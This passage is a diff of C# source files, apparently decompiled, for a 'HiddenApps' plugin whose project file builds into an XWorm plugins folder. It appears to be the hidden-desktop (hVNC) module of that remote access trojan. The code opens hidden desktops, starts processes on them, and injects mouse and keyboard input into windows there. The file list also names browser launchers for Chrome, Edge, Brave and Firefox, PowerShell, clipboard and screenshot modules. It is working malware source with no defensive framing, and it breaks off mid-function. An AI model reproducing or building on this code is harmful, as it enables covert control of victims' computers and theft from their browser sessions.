private static extern bool EnumDesktops(IntPtr hwinsta, EnumDesktopProc lpEnumFunc, IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr GetProcessWindowStation();
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool GetUserObjectInformation(IntPtr hObj, int nIndex, IntPtr pvInfo, int nLength, ref int lpnLengthNeeded);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr OpenInputDesktop(int dwFlags, bool fInherit, long dwDesiredAccess);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, long dwDesiredAccess);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool CloseDesktop(IntPtr hDesktop);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool SetThreadDesktop(IntPtr hDesktop);
|
||||
|
||||
public object Clone()
|
||||
{
|
||||
CheckDisposed();
|
||||
SetCurrentVirtualDesktop setCurrentVirtualDesktop = new SetCurrentVirtualDesktop();
|
||||
if (IsOpen)
|
||||
{
|
||||
setCurrentVirtualDesktop.Open(m_desktopName);
|
||||
}
|
||||
return setCurrentVirtualDesktop;
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return m_desktopName;
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(disposing: true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
public virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (!m_disposed)
|
||||
{
|
||||
Close();
|
||||
}
|
||||
m_disposed = true;
|
||||
}
|
||||
|
||||
private void CheckDisposed()
|
||||
{
|
||||
if (m_disposed)
|
||||
{
|
||||
throw new ObjectDisposedException("");
|
||||
}
|
||||
}
|
||||
|
||||
public SetCurrentVirtualDesktop()
|
||||
{
|
||||
m_desktop = IntPtr.Zero;
|
||||
m_desktopName = string.Empty;
|
||||
m_disposed = false;
|
||||
}
|
||||
|
||||
~SetCurrentVirtualDesktop()
|
||||
{
|
||||
Close();
|
||||
}
|
||||
|
||||
public bool Close()
|
||||
{
|
||||
CheckDisposed();
|
||||
if (m_desktop != IntPtr.Zero)
|
||||
{
|
||||
bool flag = CloseDesktop(DesktopHandle);
|
||||
if (flag)
|
||||
{
|
||||
m_desktop = IntPtr.Zero;
|
||||
m_desktopName = string.Empty;
|
||||
}
|
||||
return flag;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
public static string GetDesktopName(SetCurrentVirtualDesktop desktop)
|
||||
{
|
||||
if (desktop.IsOpen)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return GetDesktopName(desktop.DesktopHandle);
|
||||
}
|
||||
|
||||
public static string GetDesktopName(IntPtr desktopHandle)
|
||||
{
|
||||
if (desktopHandle == IntPtr.Zero)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
int lpnLengthNeeded = 0;
|
||||
GetUserObjectInformation(desktopHandle, 2, IntPtr.Zero, 0, ref lpnLengthNeeded);
|
||||
IntPtr intPtr = Marshal.AllocHGlobal(lpnLengthNeeded);
|
||||
bool userObjectInformation = GetUserObjectInformation(desktopHandle, 2, intPtr, lpnLengthNeeded, ref lpnLengthNeeded);
|
||||
string result = Marshal.PtrToStringAnsi(intPtr);
|
||||
Marshal.FreeHGlobal(intPtr);
|
||||
if (!userObjectInformation)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
public static SetCurrentVirtualDesktop OpenDefaultDesktop()
|
||||
{
|
||||
return OpenDesktop("Default");
|
||||
}
|
||||
|
||||
public static SetCurrentVirtualDesktop OpenDesktop(string name)
|
||||
{
|
||||
SetCurrentVirtualDesktop setCurrentVirtualDesktop = new SetCurrentVirtualDesktop();
|
||||
if (!setCurrentVirtualDesktop.Open(name))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return setCurrentVirtualDesktop;
|
||||
}
|
||||
|
||||
public static SetCurrentVirtualDesktop OpenInputDesktop()
|
||||
{
|
||||
SetCurrentVirtualDesktop setCurrentVirtualDesktop = new SetCurrentVirtualDesktop();
|
||||
if (!setCurrentVirtualDesktop.OpenInput())
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return setCurrentVirtualDesktop;
|
||||
}
|
||||
|
||||
public bool OpenInput()
|
||||
{
|
||||
CheckDisposed();
|
||||
if (m_desktop != IntPtr.Zero && !Close())
|
||||
{
|
||||
return false;
|
||||
}
|
||||
m_desktop = OpenInputDesktop(0, fInherit: true, 511L);
|
||||
if (m_desktop == IntPtr.Zero)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
m_desktopName = GetDesktopName(m_desktop);
|
||||
return true;
|
||||
}
|
||||
|
||||
public static List<int> GetProcessIDList()
|
||||
{
|
||||
return m_lstProcessID;
|
||||
}
|
||||
|
||||
public static void KillProcessAndChildren(int pid)
|
||||
{
|
||||
if (pid == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * From Win32_Process Where ParentProcessID=" + pid);
|
||||
ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
|
||||
foreach (ManagementObject item in managementObjectCollection)
|
||||
{
|
||||
KillProcessAndChildren(Convert.ToInt32(item["ProcessID"]));
|
||||
}
|
||||
try
|
||||
{
|
||||
Process processById = Process.GetProcessById(pid);
|
||||
processById.Kill();
|
||||
}
|
||||
catch (ArgumentException)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public static bool CreateProcess(string path, string desktop, bool bAppName)
|
||||
{
|
||||
if (!Exists(desktop))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
SetCurrentVirtualDesktop setCurrentVirtualDesktop = OpenDesktop(desktop);
|
||||
return setCurrentVirtualDesktop.CreateProcess(path, bAppName);
|
||||
}
|
||||
|
||||
public bool CreateProcess(string path, bool bAppName)
|
||||
{
|
||||
CheckDisposed();
|
||||
if (!IsOpen)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
STARTUPINFO lpStartupInfo = default(STARTUPINFO);
|
||||
lpStartupInfo.cb = Marshal.SizeOf((object)lpStartupInfo);
|
||||
lpStartupInfo.lpDesktop = m_desktopName;
|
||||
PROCESS_INFORMATION lpProcessInformation = default(PROCESS_INFORMATION);
|
||||
bool result = (bAppName ? CreateProcess(path, null, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, 32, IntPtr.Zero, null, ref lpStartupInfo, ref lpProcessInformation) : CreateProcess(null, path, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, 32, IntPtr.Zero, null, ref lpStartupInfo, ref lpProcessInformation));
|
||||
CollectProcessAndChildren(lpProcessInformation.dwProcessId);
|
||||
return result;
|
||||
}
|
||||
|
||||
public static void CollectProcessAndChildren(int pid)
|
||||
{
|
||||
if (pid == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * From Win32_Process Where ParentProcessID=" + pid);
|
||||
ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
|
||||
foreach (ManagementObject item in managementObjectCollection)
|
||||
{
|
||||
CollectProcessAndChildren(Convert.ToInt32(item["ProcessID"]));
|
||||
}
|
||||
m_lstProcessID.Add(pid);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{F18A30E2-9969-461D-9FAA-628D9B0EE829}</ProjectGuid>
|
||||
<OutputType>Library</OutputType>
|
||||
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||
<RootNamespace>HiddenApps</RootNamespace>
|
||||
<AssemblyName>HiddenApps</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
<TargetFrameworkProfile />
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>false</DebugSymbols>
|
||||
<DebugType>none</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>..\..\..\XWorm\bin\Debug\Plugins\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Brave.cs" />
|
||||
<Compile Include="Chrome.cs" />
|
||||
<Compile Include="CommandPrompt.cs" />
|
||||
<Compile Include="CustomOpen.cs" />
|
||||
<Compile Include="Edge.cs" />
|
||||
<Compile Include="FireFox.cs" />
|
||||
<Compile Include="HandleVNC\SetCurrentVirtualDesktop.cs" />
|
||||
<Compile Include="InvokeUser32.cs" />
|
||||
<Compile Include="KeyboardEvent.cs" />
|
||||
<Compile Include="MouseAction.cs" />
|
||||
<Compile Include="MouseEvent.cs" />
|
||||
<Compile Include="PacketHandler.cs" />
|
||||
<Compile Include="Plugin.cs" />
|
||||
<Compile Include="Plugin\HandleVNC\NativeMethodsVNC.cs" />
|
||||
<Compile Include="Plugin\Handle\GetHandleWindow.cs" />
|
||||
<Compile Include="Plugin\OpenApp\HandleClipboard.cs" />
|
||||
<Compile Include="PowerShell.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="ScreenshotCapture.cs" />
|
||||
<Compile Include="WDir.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
@@ -0,0 +1,144 @@
|
||||
// HApps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.InvokeUser32
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
public class InvokeUser32
|
||||
{
|
||||
public struct WINDOWPLACEMENT
|
||||
{
|
||||
public int length;
|
||||
|
||||
public uint flags;
|
||||
|
||||
public uint showCmd;
|
||||
|
||||
public Point ptMinPosition;
|
||||
|
||||
public Point ptMaxPosition;
|
||||
|
||||
public Rectangle rcNormalPosition;
|
||||
}
|
||||
|
||||
public const int WM_NCHITTEST = 132;
|
||||
|
||||
public const int WM_MOUSEMOVE = 512;
|
||||
|
||||
public const int WM_LBUTTONDOWN = 513;
|
||||
|
||||
public const int WM_LBUTTONUP = 514;
|
||||
|
||||
public const int WM_LBUTTONDBLCLK = 515;
|
||||
|
||||
public const int WM_RBUTTONDOWN = 516;
|
||||
|
||||
public const int WM_RBUTTONUP = 517;
|
||||
|
||||
public const int WM_RBUTTONDBLCLK = 518;
|
||||
|
||||
public const int WM_MOUSEWHEEL = 522;
|
||||
|
||||
public const int HTTRANSPARENT = -1;
|
||||
|
||||
public const int GWL_STYLE = -16;
|
||||
|
||||
public const int HTCLOSE = 20;
|
||||
|
||||
public const int WS_DISABLED = 134217728;
|
||||
|
||||
public const int WM_CLOSE = 16;
|
||||
|
||||
public const int HTMINBUTTON = 8;
|
||||
|
||||
public const int WM_SYSCOMMAND = 274;
|
||||
|
||||
public const int SC_MINIMIZE = 61472;
|
||||
|
||||
public const int SC_MAXIMIZE = 61488;
|
||||
|
||||
public const int SC_RESTORE = 61728;
|
||||
|
||||
public const int HTMAXBUTTON = 9;
|
||||
|
||||
public const int SW_SHOWMAXIMIZED = 3;
|
||||
|
||||
public const int MN_GETHMENU = 481;
|
||||
|
||||
public const int WM_KEYDOWN = 256;
|
||||
|
||||
public const int MK_LBUTTON = 1;
|
||||
|
||||
public const int MK_RBUTTON = 2;
|
||||
|
||||
public const int HTCAPTION = 2;
|
||||
|
||||
public const int HTLEFT = 10;
|
||||
|
||||
public const int HTRIGHT = 11;
|
||||
|
||||
public const int HTTOP = 12;
|
||||
|
||||
public const int HTTOPLEFT = 13;
|
||||
|
||||
public const int HTTOPRIGHT = 14;
|
||||
|
||||
public const int HTBOTTOM = 15;
|
||||
|
||||
public const int HTBOTTOMLEFT = 16;
|
||||
|
||||
public const int HTBOTTOMRIGHT = 17;
|
||||
|
||||
public const int WM_HSCROLL = 276;
|
||||
|
||||
public const int WM_VSCROLL = 277;
|
||||
|
||||
public const int SB_LINEUP = 0;
|
||||
|
||||
public const int SB_LINEDOWN = 1;
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern bool PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr WindowFromPoint(Point p);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int SendMessage(IntPtr hWnd, int Msg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int PostMessage(IntPtr hWnd, int Msg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool GetWindowPlacement(IntPtr hWnd, ref WINDOWPLACEMENT lpwndpl);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern uint RealGetWindowClass(IntPtr hwnd, [Out] StringBuilder pszType, uint cchType);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int MenuItemFromPoint(IntPtr hwnd, IntPtr hMenu, Point ptScreen);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern uint GetMenuItemID(IntPtr hMenu, int nPos);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern bool MoveWindow(IntPtr hWnd, int X, int Y, int nWidth, int nHeight, bool bRepaint);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool ScreenToClient(IntPtr hWnd, ref Point lpPoint);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr ChildWindowFromPoint(IntPtr hWndParent, Point pt);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool SetForegroundWindow(IntPtr hWnd);
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
// HApps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.KeyboardEvent
|
||||
using System;
|
||||
|
||||
[Serializable]
|
||||
public class KeyboardEvent
|
||||
{
|
||||
public byte Key { get; set; }
|
||||
|
||||
public bool KeyDown { get; set; }
|
||||
|
||||
public KeyboardEvent()
|
||||
{
|
||||
}
|
||||
|
||||
public KeyboardEvent(byte key, bool keyDown)
|
||||
{
|
||||
Key = key;
|
||||
KeyDown = keyDown;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
// HApps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.MouseAction
|
||||
public enum MouseAction
|
||||
{
|
||||
LeftDown,
|
||||
LeftUp,
|
||||
RightDown,
|
||||
RightUp,
|
||||
DoubleClick,
|
||||
MoveCursor,
|
||||
ScrollUp,
|
||||
ScrollDown,
|
||||
None
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
// HApps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.MouseEvent
|
||||
using System;
|
||||
|
||||
[Serializable]
|
||||
public class MouseEvent
|
||||
{
|
||||
public MouseAction Action { get; set; }
|
||||
|
||||
public bool IsMouseDown { get; set; }
|
||||
|
||||
public int X { get; set; }
|
||||
|
||||
public int Y { get; set; }
|
||||
|
||||
public int MonitorIndex { get; set; }
|
||||
|
||||
public MouseEvent()
|
||||
{
|
||||
}
|
||||
|
||||
public MouseEvent(MouseAction action, bool isMouseDown, int x, int y, int monitorIndex)
|
||||
{
|
||||
Action = action;
|
||||
IsMouseDown = isMouseDown;
|
||||
X = x;
|
||||
Y = y;
|
||||
MonitorIndex = monitorIndex;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,421 @@
|
||||
// HApps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.PacketHandler
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
|
||||
public static class PacketHandler
|
||||
{
|
||||
public delegate bool EnumDesktopWindowsProc(IntPtr hDesktop, IntPtr lParam);
|
||||
|
||||
public struct RECT
|
||||
{
|
||||
public int Left;
|
||||
|
||||
public int Top;
|
||||
|
||||
public int Right;
|
||||
|
||||
public int Bottom;
|
||||
}
|
||||
|
||||
private const uint DESKTOP_WRITEOBJECTS = 128u;
|
||||
|
||||
private const uint DESKTOP_READOBJECTS = 1u;
|
||||
|
||||
private const int WM_CLOSE = 16;
|
||||
|
||||
private const uint SPI_SETSCREENSAVEACTIVE = 17u;
|
||||
|
||||
private const uint SPIF_SENDWININICHANGE = 2u;
|
||||
|
||||
private const int SPI_GETSCREENSAVERRUNNING = 114;
|
||||
|
||||
private static Point ptLast = new Point(0, 0);
|
||||
|
||||
private static IntPtr MoveHandel;
|
||||
|
||||
private static Point ptLastCopy = new Point(0, 0);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool SystemParametersInfo(uint uAction, uint uParam, ref IntPtr lpvParam, uint flags);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr OpenDesktop(string hDesktop, int flags, bool inherit, uint desirLoWordedAccess);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool EnumDesktopWindows(IntPtr hDesktop, EnumDesktopWindowsProc callback, IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetWindowLong(IntPtr hWnd, int nIndex);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int SetWindowLong(IntPtr hWnd, int nIndex, uint dwNewLong);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool IsWindowVisible(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool CloseDesktop(IntPtr hDesktop);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int PostMessage(IntPtr hWnd, int wMsg, int wParam, int lParam);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetForegroundWindow();
|
||||
|
||||
public static void DisableScreensaver()
|
||||
{
|
||||
IntPtr intPtr = OpenDesktop("Screen-saver", 0, inherit: false, 129u);
|
||||
if (intPtr != IntPtr.Zero)
|
||||
{
|
||||
EnumDesktopWindows(intPtr, delegate (IntPtr hWnd, IntPtr lParam)
|
||||
{
|
||||
if (IsWindowVisible(hWnd))
|
||||
{
|
||||
PostMessage(hWnd, 16, 0, 0);
|
||||
}
|
||||
return true;
|
||||
}, IntPtr.Zero);
|
||||
CloseDesktop(intPtr);
|
||||
}
|
||||
else
|
||||
{
|
||||
PostMessage(GetForegroundWindow(), 16, 0, 0);
|
||||
}
|
||||
IntPtr lpvParam = IntPtr.Zero;
|
||||
SystemParametersInfo(17u, 1u, ref lpvParam, 2u);
|
||||
}
|
||||
|
||||
public static bool IsScreensaverActive()
|
||||
{
|
||||
IntPtr lpvParam = IntPtr.Zero;
|
||||
if (!SystemParametersInfo(114u, 0u, ref lpvParam, 0u))
|
||||
{
|
||||
}
|
||||
return lpvParam != IntPtr.Zero;
|
||||
}
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool ShowWindow(IntPtr hWnd, [MarshalAs(UnmanagedType.I4)] int nCmdShow);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool IsZoomed(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern bool PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
|
||||
|
||||
public static void HandleDoMouseEvent(MouseEvent command)
|
||||
{
|
||||
try
|
||||
{
|
||||
Screen[] allScreens = Screen.AllScreens;
|
||||
int x = allScreens[command.MonitorIndex].Bounds.X;
|
||||
int y = allScreens[command.MonitorIndex].Bounds.Y;
|
||||
Point lpPoint = new Point(command.X + x, command.Y + y);
|
||||
IntPtr intPtr = InvokeUser32.WindowFromPoint(lpPoint);
|
||||
IntPtr zero = IntPtr.Zero;
|
||||
IntPtr wParam = IntPtr.Zero;
|
||||
long num = MAKELPARAM(command.X, command.Y);
|
||||
int num2 = 0;
|
||||
int msg = 0;
|
||||
MouseAction action = command.Action;
|
||||
MouseAction mouseAction = action;
|
||||
if (((uint)mouseAction <= 3u || mouseAction == MouseAction.MoveCursor) && IsScreensaverActive())
|
||||
{
|
||||
DisableScreensaver();
|
||||
}
|
||||
switch (command.Action)
|
||||
{
|
||||
case MouseAction.LeftUp:
|
||||
{
|
||||
int num7 = InvokeUser32.SendMessage(intPtr, 132, IntPtr.Zero, (IntPtr)num);
|
||||
msg = 514;
|
||||
switch (num7)
|
||||
{
|
||||
case -1:
|
||||
{
|
||||
int num8 = (int)GetWindowLong(intPtr, -16);
|
||||
SetWindowLong(intPtr, -16, (uint)num8 | 0x8000000u);
|
||||
num7 = InvokeUser32.SendMessage(intPtr, 132, IntPtr.Zero, (IntPtr)num);
|
||||
break;
|
||||
}
|
||||
case 20:
|
||||
InvokeUser32.PostMessage(intPtr, 16, IntPtr.Zero, IntPtr.Zero);
|
||||
break;
|
||||
case 8:
|
||||
if (IsZoomed(intPtr))
|
||||
{
|
||||
ShowWindow(intPtr, 9);
|
||||
}
|
||||
else
|
||||
{
|
||||
ShowWindow(intPtr, 3);
|
||||
}
|
||||
return;
|
||||
case 9:
|
||||
{
|
||||
InvokeUser32.WINDOWPLACEMENT wINDOWPLACEMENT = default(InvokeUser32.WINDOWPLACEMENT);
|
||||
wINDOWPLACEMENT.length = Marshal.SizeOf(typeof(InvokeUser32.WINDOWPLACEMENT));
|
||||
InvokeUser32.WINDOWPLACEMENT lpwndpl = wINDOWPLACEMENT;
|
||||
InvokeUser32.GetWindowPlacement(intPtr, ref lpwndpl);
|
||||
if ((lpwndpl.flags & 3u) != 0)
|
||||
{
|
||||
InvokeUser32.PostMessage(intPtr, 274, (IntPtr)61728, IntPtr.Zero);
|
||||
}
|
||||
else
|
||||
{
|
||||
InvokeUser32.PostMessage(intPtr, 274, (IntPtr)61488, IntPtr.Zero);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case MouseAction.LeftDown:
|
||||
{
|
||||
zero = IntPtr.Zero;
|
||||
msg = 513;
|
||||
RECT lpRect2 = default(RECT);
|
||||
IntPtr hWnd = InvokeUser32.FindWindow("Button", null);
|
||||
GetWindowRect(hWnd, out lpRect2);
|
||||
if (new Rectangle(lpRect2.Left, lpRect2.Top, lpRect2.Right - lpRect2.Left, lpRect2.Bottom - lpRect2.Top).Contains(lpPoint))
|
||||
{
|
||||
InvokeUser32.PostMessage(hWnd, 245, IntPtr.Zero, IntPtr.Zero);
|
||||
break;
|
||||
}
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
InvokeUser32.RealGetWindowClass(intPtr, stringBuilder, (uint)stringBuilder.Capacity);
|
||||
if (stringBuilder.ToString().Equals(""))
|
||||
{
|
||||
int num9 = InvokeUser32.SendMessage(intPtr, 481, IntPtr.Zero, IntPtr.Zero);
|
||||
int num10 = InvokeUser32.MenuItemFromPoint(IntPtr.Zero, (IntPtr)num9, lpPoint);
|
||||
InvokeUser32.GetMenuItemID((IntPtr)num9, num10);
|
||||
InvokeUser32.PostMessage(intPtr, 485, (IntPtr)num10, IntPtr.Zero);
|
||||
InvokeUser32.PostMessage(intPtr, 256, (IntPtr)13, IntPtr.Zero);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case MouseAction.RightDown:
|
||||
msg = 516;
|
||||
InvokeUser32.SendMessage(intPtr, 516, (IntPtr)2, (IntPtr)num);
|
||||
break;
|
||||
case MouseAction.RightUp:
|
||||
{
|
||||
msg = 517;
|
||||
int num7 = InvokeUser32.SendMessage(intPtr, 132, IntPtr.Zero, (IntPtr)num);
|
||||
InvokeUser32.SendMessage(intPtr, 516, (IntPtr)2, (IntPtr)num);
|
||||
Thread.Sleep(100);
|
||||
break;
|
||||
}
|
||||
case MouseAction.MoveCursor:
|
||||
{
|
||||
if (!command.IsMouseDown)
|
||||
{
|
||||
return;
|
||||
}
|
||||
if (zero == IntPtr.Zero)
|
||||
{
|
||||
num2 = InvokeUser32.SendMessage(intPtr, 132, IntPtr.Zero, (IntPtr)num);
|
||||
}
|
||||
else
|
||||
{
|
||||
intPtr = zero;
|
||||
}
|
||||
int num3 = ptLastCopy.X - lpPoint.X;
|
||||
int num4 = ptLastCopy.Y - lpPoint.Y;
|
||||
GetWindowRect(intPtr, out var lpRect);
|
||||
int left = lpRect.Left;
|
||||
int top = lpRect.Top;
|
||||
int num5 = lpRect.Right - lpRect.Left;
|
||||
int num6 = lpRect.Bottom - lpRect.Top;
|
||||
switch (num2)
|
||||
{
|
||||
case 2:
|
||||
left -= num3;
|
||||
top -= num4;
|
||||
break;
|
||||
case 12:
|
||||
top -= num4;
|
||||
num6 += num4;
|
||||
break;
|
||||
case 15:
|
||||
num6 -= num4;
|
||||
break;
|
||||
case 10:
|
||||
left -= num3;
|
||||
num5 += num3;
|
||||
break;
|
||||
case 11:
|
||||
num5 -= num3;
|
||||
break;
|
||||
case 13:
|
||||
top -= num4;
|
||||
num6 += num4;
|
||||
left -= num3;
|
||||
num5 += num3;
|
||||
break;
|
||||
case 14:
|
||||
top -= num4;
|
||||
num6 += num4;
|
||||
num5 -= num3;
|
||||
break;
|
||||
case 16:
|
||||
num6 -= num4;
|
||||
left -= num3;
|
||||
num5 += num3;
|
||||
break;
|
||||
case 17:
|
||||
num6 -= num4;
|
||||
num5 -= num3;
|
||||
break;
|
||||
}
|
||||
zero = intPtr;
|
||||
msg = 512;
|
||||
break;
|
||||
}
|
||||
case MouseAction.ScrollDown:
|
||||
intPtr = InvokeUser32.WindowFromPoint(ptLast);
|
||||
msg = 277;
|
||||
wParam = (IntPtr)1;
|
||||
num = 0L;
|
||||
break;
|
||||
case MouseAction.ScrollUp:
|
||||
intPtr = InvokeUser32.WindowFromPoint(ptLast);
|
||||
msg = 277;
|
||||
wParam = (IntPtr)0;
|
||||
num = 0L;
|
||||
break;
|
||||
}
|
||||
IntPtr intPtr2 = intPtr;
|
||||
do
|
||||
{
|
||||
intPtr = intPtr2;
|
||||
InvokeUser32.ScreenToClient(intPtr2, ref lpPoint);
|
||||
intPtr2 = InvokeUser32.ChildWindowFromPoint(intPtr2, lpPoint);
|
||||
}
|
||||
while (!(intPtr2 == IntPtr.Zero) && !(intPtr2 == intPtr));
|
||||
num = MAKELPARAM(lpPoint.X, lpPoint.Y);
|
||||
InvokeUser32.PostMessage(intPtr, msg, wParam, (IntPtr)num);
|
||||
ptLastCopy = ptLast;
|
||||
ptLast = lpPoint;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public static void KeyboardDown(string k)
|
||||
{
|
||||
string @string = Encoding.UTF8.GetString(Convert.FromBase64String(k));
|
